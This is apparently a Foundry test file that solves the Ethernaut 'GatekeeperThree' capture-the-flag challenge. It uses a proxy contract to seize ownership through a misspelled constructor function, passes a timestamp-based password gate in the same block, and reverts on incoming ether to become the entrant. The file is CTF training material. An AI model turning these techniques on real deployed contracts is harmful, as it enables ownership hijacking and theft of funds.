GatekeeperThreeExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/GatekeeperThree.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract Helper {
  GatekeeperThree target;

  constructor(address payable _targetAddress) {
    target = GatekeeperThree(_targetAddress);
  }

  function pwn() external {
    // First, become the owner of the contract.
    // Make sure that the tx.origin is not the owner, only the msg.sender.
    // That's why we use a proxy contract to perform the exploit.
    target.construct0r();
    require(
      target.owner() == address(this),
      'The exploiter is not the owner of the contract'
    );

    // Then allow entrance (gate 2).
    // We make the two calls in the same block.
    // Another solution is to inspect the storage of the target contract to get the password value.
    target.createTrick();
    target.getAllowance(block.timestamp);
    require(target.allowEntrance(), 'Entrance is not allowed');

    // Finally, become an entrant (gate 3).
    target.enter();
    require(target.entrant() == tx.origin, 'The exploiter is not the entrant');
  }

  receive() external payable {
    // Make sure the contract reverts when sent some ether.
    revert();
  }
}

contract GatekeeperThreeExploit is Test {
  GatekeeperThree target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');

  function setUp() public {
    vm.deal(exploiter, 10 ether);

    vm.startPrank(deployer);
    target = new GatekeeperThree();
    console.log('Target contract deployed');
    vm.stopPrank();
  }

  function testExploit() public {
    address entrant = target.entrant();
    assertEq(entrant, address(0x0));
    console.log('Current entrant: %s', entrant);

    vm.startPrank(exploiter, exploiter);
    console.log('Fund the target contract to perform the exploit');
    (bool success, ) = address(target).call{value: 1 ether}('');
    require(success, 'Call failed');

    console.log('Performing the exploit using a proxy contract');
    Helper helper = new Helper(payable(target));
    helper.pwn();

    console.log('The exploiter is now the new entrant');
    vm.stopPrank();

    entrant = target.entrant();
    assertEq(entrant, exploiter);
    console.log('New entrant: %s', entrant);
  }
}